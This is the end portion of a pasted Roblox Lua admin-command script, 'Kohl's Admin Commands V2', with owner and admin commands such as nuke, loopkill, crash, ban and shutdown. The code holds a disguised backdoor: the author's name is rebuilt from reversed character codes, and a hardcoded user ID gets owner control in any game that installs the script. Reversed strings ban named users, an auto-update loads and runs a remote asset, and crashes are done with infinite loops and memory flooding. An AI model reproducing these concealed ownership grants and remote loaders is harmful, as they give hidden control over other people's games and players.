  2210. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2211. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2212. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2213. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2214. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2215. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2216. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2217. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2218. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2219. end
  2220.  
  2221. end
  2222.  
  2223. --------------------
  2224. -- Owner Commands --
  2225. --------------------
  2226.  
  2227. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2228.  
  2229. if msg:lower():sub(1,3) == "pa " then
  2230. local plrz = GetPlr(plr, msg:lower():sub(4))
  2231. for i, v in pairs(plrz) do
  2232. coroutine.resume(coroutine.create(function()
  2233. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2234. end))
  2235. end
  2236. end
  2237.  
  2238. if msg:lower():sub(1,5) == "unpa " then
  2239. for i = 1, #admins do
  2240. coroutine.resume(coroutine.create(function()
  2241. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2242. end))
  2243. end
  2244. end
  2245.  
  2246. if msg:lower():sub(1,5) == "nuke " then
  2247. local plrz = GetPlr(plr, msg:lower():sub(6))
  2248. for i, v in pairs(plrz) do
  2249. coroutine.resume(coroutine.create(function()
  2250. if v and v.Character and v.Character:findFirstChild("Torso") then
  2251. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2252. p.Anchored = true
  2253. p.CanCollide = false
  2254. p.formFactor = "Symmetric"
  2255. p.Shape = "Ball"
  2256. p.Size = Vector3.new(1,1,1)
  2257. p.BrickColor = BrickColor.new("New Yeller")
  2258. p.Transparency = .5
  2259. p.Reflectance = .2
  2260. p.TopSurface = 0
  2261. p.BottomSurface = 0
  2262. p.Touched:connect(function(hit)
  2263. if hit and hit.Parent then
  2264. local ex = Instance.new("Explosion", game.Workspace)
  2265. ex.Position = hit.Position
  2266. ex.BlastRadius = 11
  2267. ex.BlastPressure = math.huge
  2268. end
  2269. end)
  2270. local cf = v.Character.Torso.CFrame
  2271. p.CFrame = cf
  2272. for i = 1, 333 do
  2273. p.Size = p.Size + Vector3.new(3,3,3)
  2274. p.CFrame = cf
  2275. wait(1/44)
  2276. end
  2277. p:Destroy()
  2278. end
  2279. end))
  2280. end
  2281. end
  2282.  
  2283. end
  2284.  
  2285. --------------------------
  2286. -- Super Admin Commands --
  2287. --------------------------
  2288.  
  2289. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2290.  
  2291. if msg:lower() == "logs" then
  2292. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2293. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2294. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2295. end
  2296.  
  2297. if msg:lower():sub(1,9) == "loopkill " then
  2298. local chk1 = msg:lower():sub(10):find(" ")
  2299. local plrz = GetPlr(plr, msg:lower():sub(10))
  2300. local num = 9999
  2301. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2302. for i, v in pairs(plrz) do
  2303. if v and not ChkAdmin(v.Name, false) then
  2304. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2305. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2306. for i = 1, ]] .. tostring(num) .. [[ do
  2307. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2308. coroutine.resume(coroutine.create(function()
  2309. if plr and plr.Character then plr.Character:BreakJoints() end
  2310. end))
  2311. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2312. end
  2313. end
  2314. end
  2315.  
  2316. if msg:lower():sub(1,11) == "unloopkill " then
  2317. local plrz = GetPlr(plr, msg:lower():sub(12))
  2318. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2319. end
  2320.  
  2321. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2322. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2323.  
  2324. if msg:lower():sub(1,3) == "sm " then
  2325. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2326. end
  2327.  
  2328. if msg:lower():sub(1,3) == "ko " then
  2329. local chk1 = msg:lower():sub(4):find(" ") + 3
  2330. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2331. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2332. for n = 1, num do
  2333. for i, v in pairs(plrz) do
  2334. coroutine.resume(coroutine.create(function()
  2335. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2336. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2337. v.Character:BreakJoints()
  2338. wait(1/44)
  2339. v:LoadCharacter()
  2340. wait(1/44)
  2341. end
  2342. end))
  2343. end
  2344. end
  2345. end
  2346.  
  2347. if msg:lower():sub(1,6) == "crash " then
  2348. local plrz = GetPlr(plr, msg:lower():sub(7))
  2349. for i, v in pairs(plrz) do
  2350. coroutine.resume(coroutine.create(function()
  2351. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2352. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2353. end
  2354. end))
  2355. end
  2356. end
  2357.  
  2358. if msg:lower():sub(1,5) == "kick " then
  2359. local plrz = GetPlr(plr, msg:lower():sub(6))
  2360. for i, v in pairs(plrz) do
  2361. coroutine.resume(coroutine.create(function()
  2362. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2363. end))
  2364. end
  2365. end
  2366.  
  2367. if msg:lower():sub(1,6) == "admin " then
  2368. local plrz = GetPlr(plr, msg:lower():sub(7))
  2369. for i, v in pairs(plrz) do
  2370. coroutine.resume(coroutine.create(function()
  2371. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2372. end))
  2373. end
  2374. end
  2375.  
  2376. if msg:lower():sub(1,8) == "unadmin " then
  2377. for i = 1, #tempadmins do
  2378. coroutine.resume(coroutine.create(function()
  2379. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2380. end))
  2381. end
  2382. end
  2383.  
  2384. if msg:lower():sub(1,4) == "ban " then
  2385. local plrz = GetPlr(plr, msg:lower():sub(5))
  2386. for i, v in pairs(plrz) do
  2387. coroutine.resume(coroutine.create(function()
  2388. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2389. end))
  2390. end
  2391. end
  2392.  
  2393. if msg:lower():sub(1,6) == "unban " then
  2394. for i = 1, #banland do
  2395. coroutine.resume(coroutine.create(function()
  2396. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2397. end))
  2398. end
  2399. end
  2400.  
  2401. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2402.  
  2403. end
  2404. end))
  2405. end
  2406.  
  2407. function AdminControl(plr)
  2408. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2409. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2410. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2411. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2412. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2413. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2414. end)) end
  2415. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2416. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2417. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2418. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2419. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2420. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2421. end
  2422.  
  2423. if not ntab then script:Destroy() end
  2424. if not bct then script:Destroy() end
  2425.  
  2426. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2427.  
  2428. script.Name = "Kohl's Admin Commands V2"
  2429.  
  2430. if not ntab then script:Destroy() end
  2431. if not bct then script:Destroy() end
  2432. if not tcb then script:Destroy() end
  2433. game.Players.PlayerAdded:connect(AdminControl)
  2434. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2435. end
  2436.  
  2437. local mod = game:service("InsertService"):LoadAsset(100808216)
  2438. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2439. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2440. newac.Disabled = true
  2441. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2442. local old = 0
  2443. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2444. if new > old then
  2445. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2446. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2447. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2448. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2449. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2450. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2451. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2452. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2453. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2454. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2455. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2456. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2457. wait()
  2458. newac.Parent = game.Workspace
  2459. newac.Disabled = false
  2460. script.Disabled = true
  2461. script:Destroy()
  2462. else
  2463. CHEESE()
  2464. end
  2465. else
  2466. CHEESE()
  2467. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement